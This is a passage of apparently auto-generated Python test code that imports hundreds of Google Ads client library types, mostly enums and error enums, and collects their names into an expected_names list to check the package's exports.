google.ads.googleads import HistoricalMetricsOptions expected_names.append(HistoricalMetricsOptions.__name__) from google.ads.googleads import MonthlySearchVolume expected_names.append(MonthlySearchVolume.__name__) from google.ads.googleads import KeywordPlanAggregateMetrics expected_names.append(KeywordPlanAggregateMetrics.__name__) from google.ads.googleads import KeywordPlanAggregateMetricResults expected_names.append(KeywordPlanAggregateMetricResults.__name__) from google.ads.googleads import KeywordPlanDeviceSearches expected_names.append(KeywordPlanDeviceSearches.__name__) from google.ads.googleads import KeywordAnnotations expected_names.append(KeywordAnnotations.__name__) from google.ads.googleads import KeywordConcept expected_names.append(KeywordConcept.__name__) from google.ads.googleads import ConceptGroup expected_names.append(ConceptGroup.__name__) from google.ads.googleads import MatchingFunctionContextTypeEnum expected_names.append(MatchingFunctionContextTypeEnum.__name__) from google.ads.googleads import MatchingFunctionOperatorEnum expected_names.append(MatchingFunctionOperatorEnum.__name__) from google.ads.googleads import MatchingFunction expected_names.append(MatchingFunction.__name__) from google.ads.googleads import Operand expected_names.append(Operand.__name__) from google.ads.googleads import InteractionEventTypeEnum expected_names.append(InteractionEventTypeEnum.__name__) from google.ads.googleads import QualityScoreBucketEnum expected_names.append(QualityScoreBucketEnum.__name__) from google.ads.googleads import Metrics expected_names.append(Metrics.__name__) from google.ads.googleads import UserIdentifierSourceEnum expected_names.append(UserIdentifierSourceEnum.__name__) from google.ads.googleads import OfflineUserAddressInfo expected_names.append(OfflineUserAddressInfo.__name__) from google.ads.googleads import UserIdentifier expected_names.append(UserIdentifier.__name__) from google.ads.googleads import TransactionAttribute expected_names.append(TransactionAttribute.__name__) from google.ads.googleads import StoreAttribute expected_names.append(StoreAttribute.__name__) from google.ads.googleads import ItemAttribute expected_names.append(ItemAttribute.__name__) from google.ads.googleads import UserData expected_names.append(UserData.__name__) from google.ads.googleads import UserAttribute expected_names.append(UserAttribute.__name__) from google.ads.googleads import CustomerMatchUserListMetadata expected_names.append(CustomerMatchUserListMetadata.__name__) from google.ads.googleads import StoreSalesMetadata expected_names.append(StoreSalesMetadata.__name__) from google.ads.googleads import StoreSalesThirdPartyMetadata expected_names.append(StoreSalesThirdPartyMetadata.__name__) from google.ads.googleads import RealTimeBiddingSetting expected_names.append(RealTimeBiddingSetting.__name__) from google.ads.googleads import AdDestinationTypeEnum expected_names.append(AdDestinationTypeEnum.__name__) from google.ads.googleads import AdNetworkTypeEnum expected_names.append(AdNetworkTypeEnum.__name__) from google.ads.googleads import BudgetCampaignAssociationStatusEnum expected_names.append(BudgetCampaignAssociationStatusEnum.__name__) from google.ads.googleads import ClickTypeEnum expected_names.append(ClickTypeEnum.__name__) from google.ads.googleads import ConversionActionCategoryEnum expected_names.append(ConversionActionCategoryEnum.__name__) from google.ads.googleads import ConversionAttributionEventTypeEnum expected_names.append(ConversionAttributionEventTypeEnum.__name__) from google.ads.googleads import ConversionLagBucketEnum expected_names.append(ConversionLagBucketEnum.__name__) from google.ads.googleads import ConversionOrAdjustmentLagBucketEnum expected_names.append(ConversionOrAdjustmentLagBucketEnum.__name__) from google.ads.googleads import ConversionValueRulePrimaryDimensionEnum expected_names.append(ConversionValueRulePrimaryDimensionEnum.__name__) from google.ads.googleads import ExternalConversionSourceEnum expected_names.append(ExternalConversionSourceEnum.__name__) from google.ads.googleads import HotelPriceBucketEnum expected_names.append(HotelPriceBucketEnum.__name__) from google.ads.googleads import HotelRateTypeEnum expected_names.append(HotelRateTypeEnum.__name__) from google.ads.googleads import PlaceholderTypeEnum expected_names.append(PlaceholderTypeEnum.__name__) from google.ads.googleads import RecommendationTypeEnum expected_names.append(RecommendationTypeEnum.__name__) from google.ads.googleads import SearchEngineResultsPageTypeEnum expected_names.append(SearchEngineResultsPageTypeEnum.__name__) from google.ads.googleads import SearchTermMatchTypeEnum expected_names.append(SearchTermMatchTypeEnum.__name__) from google.ads.googleads import SlotEnum expected_names.append(SlotEnum.__name__) from google.ads.googleads import Segments expected_names.append(Segments.__name__) from google.ads.googleads import Keyword expected_names.append(Keyword.__name__) from google.ads.googleads import BudgetCampaignAssociationStatus expected_names.append(BudgetCampaignAssociationStatus.__name__) from google.ads.googleads import AssetInteractionTarget expected_names.append(AssetInteractionTarget.__name__) from google.ads.googleads import BidModifierSimulationPointList expected_names.append(BidModifierSimulationPointList.__name__) from google.ads.googleads import CpcBidSimulationPointList expected_names.append(CpcBidSimulationPointList.__name__) from google.ads.googleads import CpvBidSimulationPointList expected_names.append(CpvBidSimulationPointList.__name__) from google.ads.googleads import TargetCpaSimulationPointList expected_names.append(TargetCpaSimulationPointList.__name__) from google.ads.googleads import TargetRoasSimulationPointList expected_names.append(TargetRoasSimulationPointList.__name__) from google.ads.googleads import PercentCpcBidSimulationPointList expected_names.append(PercentCpcBidSimulationPointList.__name__) from google.ads.googleads import BudgetSimulationPointList expected_names.append(BudgetSimulationPointList.__name__) from google.ads.googleads import TargetImpressionShareSimulationPointList expected_names.append(TargetImpressionShareSimulationPointList.__name__) from google.ads.googleads import BidModifierSimulationPoint expected_names.append(BidModifierSimulationPoint.__name__) from google.ads.googleads import CpcBidSimulationPoint expected_names.append(CpcBidSimulationPoint.__name__) from google.ads.googleads import CpvBidSimulationPoint expected_names.append(CpvBidSimulationPoint.__name__) from google.ads.googleads import TargetCpaSimulationPoint expected_names.append(TargetCpaSimulationPoint.__name__) from google.ads.googleads import TargetRoasSimulationPoint expected_names.append(TargetRoasSimulationPoint.__name__) from google.ads.googleads import PercentCpcBidSimulationPoint expected_names.append(PercentCpcBidSimulationPoint.__name__) from google.ads.googleads import BudgetSimulationPoint expected_names.append(BudgetSimulationPoint.__name__) from google.ads.googleads import TargetImpressionShareSimulationPoint expected_names.append(TargetImpressionShareSimulationPoint.__name__) from google.ads.googleads import TrackingCodePageFormatEnum expected_names.append(TrackingCodePageFormatEnum.__name__) from google.ads.googleads import TrackingCodeTypeEnum expected_names.append(TrackingCodeTypeEnum.__name__) from google.ads.googleads import TagSnippet expected_names.append(TagSnippet.__name__) from google.ads.googleads import TargetingDimensionEnum expected_names.append(TargetingDimensionEnum.__name__) from google.ads.googleads import TargetingSetting expected_names.append(TargetingSetting.__name__) from google.ads.googleads import TargetRestriction expected_names.append(TargetRestriction.__name__) from google.ads.googleads import TargetRestrictionOperation expected_names.append(TargetRestrictionOperation.__name__) from google.ads.googleads import TextLabel expected_names.append(TextLabel.__name__) from google.ads.googleads import UrlCollection expected_names.append(UrlCollection.__name__) from google.ads.googleads import CustomerMatchUploadKeyTypeEnum expected_names.append(CustomerMatchUploadKeyTypeEnum.__name__) from google.ads.googleads import UserListCombinedRuleOperatorEnum expected_names.append(UserListCombinedRuleOperatorEnum.__name__) from google.ads.googleads import UserListCrmDataSourceTypeEnum expected_names.append(UserListCrmDataSourceTypeEnum.__name__) from google.ads.googleads import UserListDateRuleItemOperatorEnum expected_names.append(UserListDateRuleItemOperatorEnum.__name__) from google.ads.googleads import UserListLogicalRuleOperatorEnum expected_names.append(UserListLogicalRuleOperatorEnum.__name__) from google.ads.googleads import UserListNumberRuleItemOperatorEnum expected_names.append(UserListNumberRuleItemOperatorEnum.__name__) from google.ads.googleads import UserListPrepopulationStatusEnum expected_names.append(UserListPrepopulationStatusEnum.__name__) from google.ads.googleads import UserListRuleTypeEnum expected_names.append(UserListRuleTypeEnum.__name__) from google.ads.googleads import UserListStringRuleItemOperatorEnum expected_names.append(UserListStringRuleItemOperatorEnum.__name__) from google.ads.googleads import SimilarUserListInfo expected_names.append(SimilarUserListInfo.__name__) from google.ads.googleads import CrmBasedUserListInfo expected_names.append(CrmBasedUserListInfo.__name__) from google.ads.googleads import UserListRuleInfo expected_names.append(UserListRuleInfo.__name__) from google.ads.googleads import UserListRuleItemGroupInfo expected_names.append(UserListRuleItemGroupInfo.__name__) from google.ads.googleads import UserListRuleItemInfo expected_names.append(UserListRuleItemInfo.__name__) from google.ads.googleads import UserListDateRuleItemInfo expected_names.append(UserListDateRuleItemInfo.__name__) from google.ads.googleads import UserListNumberRuleItemInfo expected_names.append(UserListNumberRuleItemInfo.__name__) from google.ads.googleads import UserListStringRuleItemInfo expected_names.append(UserListStringRuleItemInfo.__name__) from google.ads.googleads import CombinedRuleUserListInfo expected_names.append(CombinedRuleUserListInfo.__name__) from google.ads.googleads import DateSpecificRuleUserListInfo expected_names.append(DateSpecificRuleUserListInfo.__name__) from google.ads.googleads import ExpressionRuleUserListInfo expected_names.append(ExpressionRuleUserListInfo.__name__) from google.ads.googleads import RuleBasedUserListInfo expected_names.append(RuleBasedUserListInfo.__name__) from google.ads.googleads import LogicalUserListInfo expected_names.append(LogicalUserListInfo.__name__) from google.ads.googleads import UserListLogicalRuleInfo expected_names.append(UserListLogicalRuleInfo.__name__) from google.ads.googleads import LogicalUserListOperandInfo expected_names.append(LogicalUserListOperandInfo.__name__) from google.ads.googleads import BasicUserListInfo expected_names.append(BasicUserListInfo.__name__) from google.ads.googleads import UserListActionInfo expected_names.append(UserListActionInfo.__name__) from google.ads.googleads import Value expected_names.append(Value.__name__) from google.ads.googleads import AccessInvitationStatusEnum expected_names.append(AccessInvitationStatusEnum.__name__) from google.ads.googleads import AccessReasonEnum expected_names.append(AccessReasonEnum.__name__) from google.ads.googleads import AccessRoleEnum expected_names.append(AccessRoleEnum.__name__) from google.ads.googleads import AccountBudgetProposalStatusEnum expected_names.append(AccountBudgetProposalStatusEnum.__name__) from google.ads.googleads import AccountBudgetProposalTypeEnum expected_names.append(AccountBudgetProposalTypeEnum.__name__) from google.ads.googleads import AccountBudgetStatusEnum expected_names.append(AccountBudgetStatusEnum.__name__) from google.ads.googleads import AccountLinkStatusEnum expected_names.append(AccountLinkStatusEnum.__name__) from google.ads.googleads import AdCustomizerPlaceholderFieldEnum expected_names.append(AdCustomizerPlaceholderFieldEnum.__name__) from google.ads.googleads import AdGroupAdRotationModeEnum expected_names.append(AdGroupAdRotationModeEnum.__name__) from google.ads.googleads import AdGroupAdStatusEnum expected_names.append(AdGroupAdStatusEnum.__name__) from google.ads.googleads import AdGroupCriterionApprovalStatusEnum expected_names.append(AdGroupCriterionApprovalStatusEnum.__name__) from google.ads.googleads import AdGroupCriterionStatusEnum expected_names.append(AdGroupCriterionStatusEnum.__name__) from google.ads.googleads import AdGroupStatusEnum expected_names.append(AdGroupStatusEnum.__name__) from google.ads.googleads import AdGroupTypeEnum expected_names.append(AdGroupTypeEnum.__name__) from google.ads.googleads import AdServingOptimizationStatusEnum expected_names.append(AdServingOptimizationStatusEnum.__name__) from google.ads.googleads import AdStrengthEnum expected_names.append(AdStrengthEnum.__name__) from google.ads.googleads import AdTypeEnum expected_names.append(AdTypeEnum.__name__) from google.ads.googleads import AffiliateLocationFeedRelationshipTypeEnum expected_names.append(AffiliateLocationFeedRelationshipTypeEnum.__name__) from google.ads.googleads import AffiliateLocationPlaceholderFieldEnum expected_names.append(AffiliateLocationPlaceholderFieldEnum.__name__) from google.ads.googleads import AppCampaignAppStoreEnum expected_names.append(AppCampaignAppStoreEnum.__name__) from google.ads.googleads import AppCampaignBiddingStrategyGoalTypeEnum expected_names.append(AppCampaignBiddingStrategyGoalTypeEnum.__name__) from google.ads.googleads import AppPlaceholderFieldEnum expected_names.append(AppPlaceholderFieldEnum.__name__) from google.ads.googleads import AssetFieldTypeEnum expected_names.append(AssetFieldTypeEnum.__name__) from google.ads.googleads import AssetLinkStatusEnum expected_names.append(AssetLinkStatusEnum.__name__) from google.ads.googleads import AssetTypeEnum expected_names.append(AssetTypeEnum.__name__) from google.ads.googleads import AttributionModelEnum expected_names.append(AttributionModelEnum.__name__) from google.ads.googleads import BatchJobStatusEnum expected_names.append(BatchJobStatusEnum.__name__) from google.ads.googleads import BidModifierSourceEnum expected_names.append(BidModifierSourceEnum.__name__) from google.ads.googleads import BiddingSourceEnum expected_names.append(BiddingSourceEnum.__name__) from google.ads.googleads import BiddingStrategyStatusEnum expected_names.append(BiddingStrategyStatusEnum.__name__) from google.ads.googleads import BiddingStrategyTypeEnum expected_names.append(BiddingStrategyTypeEnum.__name__) from google.ads.googleads import BillingSetupStatusEnum expected_names.append(BillingSetupStatusEnum.__name__) from google.ads.googleads import BrandSafetySuitabilityEnum expected_names.append(BrandSafetySuitabilityEnum.__name__) from google.ads.googleads import BudgetDeliveryMethodEnum expected_names.append(BudgetDeliveryMethodEnum.__name__) from google.ads.googleads import BudgetPeriodEnum expected_names.append(BudgetPeriodEnum.__name__) from google.ads.googleads import BudgetStatusEnum expected_names.append(BudgetStatusEnum.__name__) from google.ads.googleads import BudgetTypeEnum expected_names.append(BudgetTypeEnum.__name__) from google.ads.googleads import CallPlaceholderFieldEnum expected_names.append(CallPlaceholderFieldEnum.__name__) from google.ads.googleads import CallTrackingDisplayLocationEnum expected_names.append(CallTrackingDisplayLocationEnum.__name__) from google.ads.googleads import CallTypeEnum expected_names.append(CallTypeEnum.__name__) from google.ads.googleads import CalloutPlaceholderFieldEnum expected_names.append(CalloutPlaceholderFieldEnum.__name__) from google.ads.googleads import CampaignCriterionStatusEnum expected_names.append(CampaignCriterionStatusEnum.__name__) from google.ads.googleads import CampaignDraftStatusEnum expected_names.append(CampaignDraftStatusEnum.__name__) from google.ads.googleads import CampaignExperimentStatusEnum expected_names.append(CampaignExperimentStatusEnum.__name__) from google.ads.googleads import CampaignExperimentTrafficSplitTypeEnum expected_names.append(CampaignExperimentTrafficSplitTypeEnum.__name__) from google.ads.googleads import CampaignExperimentTypeEnum expected_names.append(CampaignExperimentTypeEnum.__name__) from google.ads.googleads import CampaignServingStatusEnum expected_names.append(CampaignServingStatusEnum.__name__) from google.ads.googleads import CampaignSharedSetStatusEnum expected_names.append(CampaignSharedSetStatusEnum.__name__) from google.ads.googleads import CampaignStatusEnum expected_names.append(CampaignStatusEnum.__name__) from google.ads.googleads import ChangeClientTypeEnum expected_names.append(ChangeClientTypeEnum.__name__) from google.ads.googleads import ChangeEventResourceTypeEnum expected_names.append(ChangeEventResourceTypeEnum.__name__) from google.ads.googleads import ChangeStatusOperationEnum expected_names.append(ChangeStatusOperationEnum.__name__) from google.ads.googleads import ChangeStatusResourceTypeEnum expected_names.append(ChangeStatusResourceTypeEnum.__name__) from google.ads.googleads import CombinedAudienceStatusEnum expected_names.append(CombinedAudienceStatusEnum.__name__) from google.ads.googleads import ConversionActionCountingTypeEnum expected_names.append(ConversionActionCountingTypeEnum.__name__) from google.ads.googleads import ConversionActionStatusEnum expected_names.append(ConversionActionStatusEnum.__name__) from google.ads.googleads import ConversionActionTypeEnum expected_names.append(ConversionActionTypeEnum.__name__) from google.ads.googleads import ConversionAdjustmentTypeEnum expected_names.append(ConversionAdjustmentTypeEnum.__name__) from google.ads.googleads import ConversionCustomVariableStatusEnum expected_names.append(ConversionCustomVariableStatusEnum.__name__) from google.ads.googleads import ConversionValueRuleSetStatusEnum expected_names.append(ConversionValueRuleSetStatusEnum.__name__) from google.ads.googleads import ConversionValueRuleStatusEnum expected_names.append(ConversionValueRuleStatusEnum.__name__) from google.ads.googleads import CriterionSystemServingStatusEnum expected_names.append(CriterionSystemServingStatusEnum.__name__) from google.ads.googleads import CriterionTypeEnum expected_names.append(CriterionTypeEnum.__name__) from google.ads.googleads import CustomAudienceMemberTypeEnum expected_names.append(CustomAudienceMemberTypeEnum.__name__) from google.ads.googleads import CustomAudienceStatusEnum expected_names.append(CustomAudienceStatusEnum.__name__) from google.ads.googleads import CustomAudienceTypeEnum expected_names.append(CustomAudienceTypeEnum.__name__) from google.ads.googleads import CustomInterestMemberTypeEnum expected_names.append(CustomInterestMemberTypeEnum.__name__) from google.ads.googleads import CustomInterestStatusEnum expected_names.append(CustomInterestStatusEnum.__name__) from google.ads.googleads import CustomInterestTypeEnum expected_names.append(CustomInterestTypeEnum.__name__) from google.ads.googleads import CustomPlaceholderFieldEnum expected_names.append(CustomPlaceholderFieldEnum.__name__) from google.ads.googleads import CustomerPayPerConversionEligibilityFailureReasonEnum expected_names.append(CustomerPayPerConversionEligibilityFailureReasonEnum.__name__) from google.ads.googleads import DataDrivenModelStatusEnum expected_names.append(DataDrivenModelStatusEnum.__name__) from google.ads.googleads import DistanceBucketEnum expected_names.append(DistanceBucketEnum.__name__) from google.ads.googleads import DsaPageFeedCriterionFieldEnum expected_names.append(DsaPageFeedCriterionFieldEnum.__name__) from google.ads.googleads import EducationPlaceholderFieldEnum expected_names.append(EducationPlaceholderFieldEnum.__name__) from google.ads.googleads import ExtensionSettingDeviceEnum expected_names.append(ExtensionSettingDeviceEnum.__name__) from google.ads.googleads import ExtensionTypeEnum expected_names.append(ExtensionTypeEnum.__name__) from google.ads.googleads import FeedAttributeTypeEnum expected_names.append(FeedAttributeTypeEnum.__name__) from google.ads.googleads import FeedItemQualityApprovalStatusEnum expected_names.append(FeedItemQualityApprovalStatusEnum.__name__) from google.ads.googleads import FeedItemQualityDisapprovalReasonEnum expected_names.append(FeedItemQualityDisapprovalReasonEnum.__name__) from google.ads.googleads import FeedItemSetStatusEnum expected_names.append(FeedItemSetStatusEnum.__name__) from google.ads.googleads import FeedItemStatusEnum expected_names.append(FeedItemStatusEnum.__name__) from google.ads.googleads import FeedItemTargetDeviceEnum expected_names.append(FeedItemTargetDeviceEnum.__name__) from google.ads.googleads import FeedItemTargetStatusEnum expected_names.append(FeedItemTargetStatusEnum.__name__) from google.ads.googleads import FeedItemTargetTypeEnum expected_names.append(FeedItemTargetTypeEnum.__name__) from google.ads.googleads import FeedItemValidationStatusEnum expected_names.append(FeedItemValidationStatusEnum.__name__) from google.ads.googleads import FeedLinkStatusEnum expected_names.append(FeedLinkStatusEnum.__name__) from google.ads.googleads import FeedMappingCriterionTypeEnum expected_names.append(FeedMappingCriterionTypeEnum.__name__) from google.ads.googleads import FeedMappingStatusEnum expected_names.append(FeedMappingStatusEnum.__name__) from google.ads.googleads import FeedOriginEnum expected_names.append(FeedOriginEnum.__name__) from google.ads.googleads import FeedStatusEnum expected_names.append(FeedStatusEnum.__name__) from google.ads.googleads import FlightPlaceholderFieldEnum expected_names.append(FlightPlaceholderFieldEnum.__name__) from google.ads.googleads import GeoTargetConstantStatusEnum expected_names.append(GeoTargetConstantStatusEnum.__name__) from google.ads.googleads import GeoTargetingRestrictionEnum expected_names.append(GeoTargetingRestrictionEnum.__name__) from google.ads.googleads import GeoTargetingTypeEnum expected_names.append(GeoTargetingTypeEnum.__name__) from google.ads.googleads import GoogleAdsFieldCategoryEnum expected_names.append(GoogleAdsFieldCategoryEnum.__name__) from google.ads.googleads import GoogleAdsFieldDataTypeEnum expected_names.append(GoogleAdsFieldDataTypeEnum.__name__) from google.ads.googleads import GoogleVoiceCallStatusEnum expected_names.append(GoogleVoiceCallStatusEnum.__name__) from google.ads.googleads import HotelPlaceholderFieldEnum expected_names.append(HotelPlaceholderFieldEnum.__name__) from google.ads.googleads import ImagePlaceholderFieldEnum expected_names.append(ImagePlaceholderFieldEnum.__name__) from google.ads.googleads import InvoiceTypeEnum expected_names.append(InvoiceTypeEnum.__name__) from google.ads.googleads import JobPlaceholderFieldEnum expected_names.append(JobPlaceholderFieldEnum.__name__) from google.ads.googleads import KeywordPlanForecastIntervalEnum expected_names.append(KeywordPlanForecastIntervalEnum.__name__) from google.ads.googleads import KeywordPlanKeywordAnnotationEnum expected_names.append(KeywordPlanKeywordAnnotationEnum.__name__) from google.ads.googleads import KeywordPlanNetworkEnum expected_names.append(KeywordPlanNetworkEnum.__name__) from google.ads.googleads import LabelStatusEnum expected_names.append(LabelStatusEnum.__name__) from google.ads.googleads import LinkedAccountTypeEnum expected_names.append(LinkedAccountTypeEnum.__name__) from google.ads.googleads import LocalPlaceholderFieldEnum expected_names.append(LocalPlaceholderFieldEnum.__name__) from google.ads.googleads import LocationExtensionTargetingCriterionFieldEnum expected_names.append(LocationExtensionTargetingCriterionFieldEnum.__name__) from google.ads.googleads import LocationPlaceholderFieldEnum expected_names.append(LocationPlaceholderFieldEnum.__name__) from google.ads.googleads import LocationSourceTypeEnum expected_names.append(LocationSourceTypeEnum.__name__) from google.ads.googleads import ManagerLinkStatusEnum expected_names.append(ManagerLinkStatusEnum.__name__) from google.ads.googleads import MediaTypeEnum expected_names.append(MediaTypeEnum.__name__) from google.ads.googleads import MerchantCenterLinkStatusEnum expected_names.append(MerchantCenterLinkStatusEnum.__name__) from google.ads.googleads import MessagePlaceholderFieldEnum expected_names.append(MessagePlaceholderFieldEnum.__name__) from google.ads.googleads import MobileAppVendorEnum expected_names.append(MobileAppVendorEnum.__name__) from google.ads.googleads import MobileDeviceTypeEnum expected_names.append(MobileDeviceTypeEnum.__name__) from google.ads.googleads import NegativeGeoTargetTypeEnum expected_names.append(NegativeGeoTargetTypeEnum.__name__) from google.ads.googleads import OfflineUserDataJobFailureReasonEnum expected_names.append(OfflineUserDataJobFailureReasonEnum.__name__) from google.ads.googleads import OfflineUserDataJobStatusEnum expected_names.append(OfflineUserDataJobStatusEnum.__name__) from google.ads.googleads import OfflineUserDataJobTypeEnum expected_names.append(OfflineUserDataJobTypeEnum.__name__) from google.ads.googleads import OperatingSystemVersionOperatorTypeEnum expected_names.append(OperatingSystemVersionOperatorTypeEnum.__name__) from google.ads.googleads import OptimizationGoalTypeEnum expected_names.append(OptimizationGoalTypeEnum.__name__) from google.ads.googleads import PaymentModeEnum expected_names.append(PaymentModeEnum.__name__) from google.ads.googleads import PlacementTypeEnum expected_names.append(PlacementTypeEnum.__name__) from google.ads.googleads import PositiveGeoTargetTypeEnum expected_names.append(PositiveGeoTargetTypeEnum.__name__) from google.ads.googleads import PricePlaceholderFieldEnum expected_names.append(PricePlaceholderFieldEnum.__name__) from google.ads.googleads import ProductBiddingCategoryStatusEnum expected_names.append(ProductBiddingCategoryStatusEnum.__name__) from google.ads.googleads import PromotionPlaceholderFieldEnum expected_names.append(PromotionPlaceholderFieldEnum.__name__) from google.ads.googleads import ReachPlanAdLengthEnum expected_names.append(ReachPlanAdLengthEnum.__name__) from google.ads.googleads import ReachPlanAgeRangeEnum expected_names.append(ReachPlanAgeRangeEnum.__name__) from google.ads.googleads import ReachPlanNetworkEnum expected_names.append(ReachPlanNetworkEnum.__name__) from google.ads.googleads import RealEstatePlaceholderFieldEnum expected_names.append(RealEstatePlaceholderFieldEnum.__name__) from google.ads.googleads import ResourceChangeOperationEnum expected_names.append(ResourceChangeOperationEnum.__name__) from google.ads.googleads import ResourceLimitTypeEnum expected_names.append(ResourceLimitTypeEnum.__name__) from google.ads.googleads import ResponseContentTypeEnum expected_names.append(ResponseContentTypeEnum.__name__) from google.ads.googleads import SearchTermTargetingStatusEnum expected_names.append(SearchTermTargetingStatusEnum.__name__) from google.ads.googleads import SeasonalityEventScopeEnum expected_names.append(SeasonalityEventScopeEnum.__name__) from google.ads.googleads import SeasonalityEventStatusEnum expected_names.append(SeasonalityEventStatusEnum.__name__) from google.ads.googleads import SharedSetStatusEnum expected_names.append(SharedSetStatusEnum.__name__) from google.ads.googleads import SharedSetTypeEnum expected_names.append(SharedSetTypeEnum.__name__) from google.ads.googleads import SimulationModificationMethodEnum expected_names.append(SimulationModificationMethodEnum.__name__) from google.ads.googleads import SimulationTypeEnum expected_names.append(SimulationTypeEnum.__name__) from google.ads.googleads import SitelinkPlaceholderFieldEnum expected_names.append(SitelinkPlaceholderFieldEnum.__name__) from google.ads.googleads import SpendingLimitTypeEnum expected_names.append(SpendingLimitTypeEnum.__name__) from google.ads.googleads import StructuredSnippetPlaceholderFieldEnum expected_names.append(StructuredSnippetPlaceholderFieldEnum.__name__) from google.ads.googleads import SummaryRowSettingEnum expected_names.append(SummaryRowSettingEnum.__name__) from google.ads.googleads import SystemManagedResourceSourceEnum expected_names.append(SystemManagedResourceSourceEnum.__name__) from google.ads.googleads import TargetCpaOptInRecommendationGoalEnum expected_names.append(TargetCpaOptInRecommendationGoalEnum.__name__) from google.ads.googleads import TimeTypeEnum expected_names.append(TimeTypeEnum.__name__) from google.ads.googleads import TravelPlaceholderFieldEnum expected_names.append(TravelPlaceholderFieldEnum.__name__) from google.ads.googleads import UserInterestTaxonomyTypeEnum expected_names.append(UserInterestTaxonomyTypeEnum.__name__) from google.ads.googleads import UserListAccessStatusEnum expected_names.append(UserListAccessStatusEnum.__name__) from google.ads.googleads import UserListClosingReasonEnum expected_names.append(UserListClosingReasonEnum.__name__) from google.ads.googleads import UserListMembershipStatusEnum expected_names.append(UserListMembershipStatusEnum.__name__) from google.ads.googleads import UserListSizeRangeEnum expected_names.append(UserListSizeRangeEnum.__name__) from google.ads.googleads import UserListTypeEnum expected_names.append(UserListTypeEnum.__name__) from google.ads.googleads import ValueRuleDeviceTypeEnum expected_names.append(ValueRuleDeviceTypeEnum.__name__) from google.ads.googleads import ValueRuleGeoLocationMatchTypeEnum expected_names.append(ValueRuleGeoLocationMatchTypeEnum.__name__) from google.ads.googleads import ValueRuleOperationEnum expected_names.append(ValueRuleOperationEnum.__name__) from google.ads.googleads import ValueRuleSetAttachmentTypeEnum expected_names.append(ValueRuleSetAttachmentTypeEnum.__name__) from google.ads.googleads import ValueRuleSetDimensionEnum expected_names.append(ValueRuleSetDimensionEnum.__name__) from google.ads.googleads import VanityPharmaDisplayUrlModeEnum expected_names.append(VanityPharmaDisplayUrlModeEnum.__name__) from google.ads.googleads import VanityPharmaTextEnum expected_names.append(VanityPharmaTextEnum.__name__) from google.ads.googleads import AccessInvitationErrorEnum expected_names.append(AccessInvitationErrorEnum.__name__) from google.ads.googleads import AccountBudgetProposalErrorEnum expected_names.append(AccountBudgetProposalErrorEnum.__name__) from google.ads.googleads import AccountLinkErrorEnum expected_names.append(AccountLinkErrorEnum.__name__) from google.ads.googleads import AdCustomizerErrorEnum expected_names.append(AdCustomizerErrorEnum.__name__) from google.ads.googleads import AdErrorEnum expected_names.append(AdErrorEnum.__name__) from google.ads.googleads import AdGroupAdErrorEnum expected_names.append(AdGroupAdErrorEnum.__name__) from google.ads.googleads import AdGroupBidModifierErrorEnum expected_names.append(AdGroupBidModifierErrorEnum.__name__) from google.ads.googleads import AdGroupCriterionErrorEnum expected_names.append(AdGroupCriterionErrorEnum.__name__) from google.ads.googleads import AdGroupErrorEnum expected_names.append(AdGroupErrorEnum.__name__) from google.ads.googleads import AdGroupFeedErrorEnum expected_names.append(AdGroupFeedErrorEnum.__name__) from google.ads.googleads import AdParameterErrorEnum expected_names.append(AdParameterErrorEnum.__name__) from google.ads.googleads import AdSharingErrorEnum expected_names.append(AdSharingErrorEnum.__name__) from google.ads.googleads import AdxErrorEnum expected_names.append(AdxErrorEnum.__name__) from google.ads.googleads import AssetErrorEnum expected_names.append(AssetErrorEnum.__name__) from google.ads.googleads import AssetLinkErrorEnum expected_names.append(AssetLinkErrorEnum.__name__) from google.ads.googleads import AuthenticationErrorEnum expected_names.append(AuthenticationErrorEnum.__name__) from google.ads.googleads import AuthorizationErrorEnum expected_names.append(AuthorizationErrorEnum.__name__) from google.ads.googleads import BatchJobErrorEnum expected_names.append(BatchJobErrorEnum.__name__) from google.ads.googleads import BiddingErrorEnum expected_names.append(BiddingErrorEnum.__name__) from google.ads.googleads import BiddingStrategyErrorEnum expected_names.append(BiddingStrategyErrorEnum.__name__) from google.ads.googleads import BillingSetupErrorEnum expected_names.append(BillingSetupErrorEnum.__name__) from google.ads.googleads import CampaignBudgetErrorEnum expected_names.append(CampaignBudgetErrorEnum.__name__) from google.ads.googleads import CampaignCriterionErrorEnum expected_names.append(CampaignCriterionErrorEnum.__name__) from google.ads.googleads import CampaignDraftErrorEnum expected_names.append(CampaignDraftErrorEnum.__name__) from google.ads.googleads import CampaignErrorEnum expected_names.append(CampaignErrorEnum.__name__) from google.ads.googleads import CampaignExperimentErrorEnum expected_names.append(CampaignExperimentErrorEnum.__name__) from google.ads.googleads import CampaignFeedErrorEnum expected_names.append(CampaignFeedErrorEnum.__name__) from google.ads.googleads import CampaignSharedSetErrorEnum expected_names.append(CampaignSharedSetErrorEnum.__name__) from google.ads.googleads import ChangeEventErrorEnum expected_names.append(ChangeEventErrorEnum.__name__) from google.ads.googleads import ChangeStatusErrorEnum expected_names.append(ChangeStatusErrorEnum.__name__) from google.ads.googleads import CollectionSizeErrorEnum expected_names.append(CollectionSizeErrorEnum.__name__) from google.ads.googleads import ContextErrorEnum expected_names.append(ContextErrorEnum.__name__) from google.ads.googleads import ConversionActionErrorEnum expected_names.append(ConversionActionErrorEnum.__name__) from google.ads.googleads import ConversionAdjustmentUploadErrorEnum expected_names.append(ConversionAdjustmentUploadErrorEnum.__name__) from google.ads.googleads import ConversionCustomVariableErrorEnum expected_names.append(ConversionCustomVariableErrorEnum.__name__) from google.ads.googleads import ConversionUploadErrorEnum expected_names.append(ConversionUploadErrorEnum.__name__) from google.ads.googleads import ConversionValueRuleErrorEnum expected_names.append(ConversionValueRuleErrorEnum.__name__) from google.ads.googleads import ConversionValueRuleSetErrorEnum expected_names.append(ConversionValueRuleSetErrorEnum.__name__) from google.ads.googleads import CountryCodeErrorEnum expected_names.append(CountryCodeErrorEnum.__name__) from google.ads.googleads import CriterionErrorEnum expected_names.append(CriterionErrorEnum.__name__) from google.ads.googleads import CurrencyCodeErrorEnum expected_names.append(CurrencyCodeErrorEnum.__name__) from google.ads.googleads import CustomAudienceErrorEnum expected_names.append(CustomAudienceErrorEnum.__name__) from google.ads.googleads import CustomInterestErrorEnum expected_names.append(CustomInterestErrorEnum.__name__) from google.ads.googleads import CustomerClientLinkErrorEnum expected_names.append(CustomerClientLinkErrorEnum.__name__) from google.ads.googleads import CustomerErrorEnum expected_names.append(CustomerErrorEnum.__name__) from google.ads.googleads import CustomerFeedErrorEnum expected_names.append(CustomerFeedErrorEnum.__name__) from google.ads.googleads import CustomerManagerLinkErrorEnum 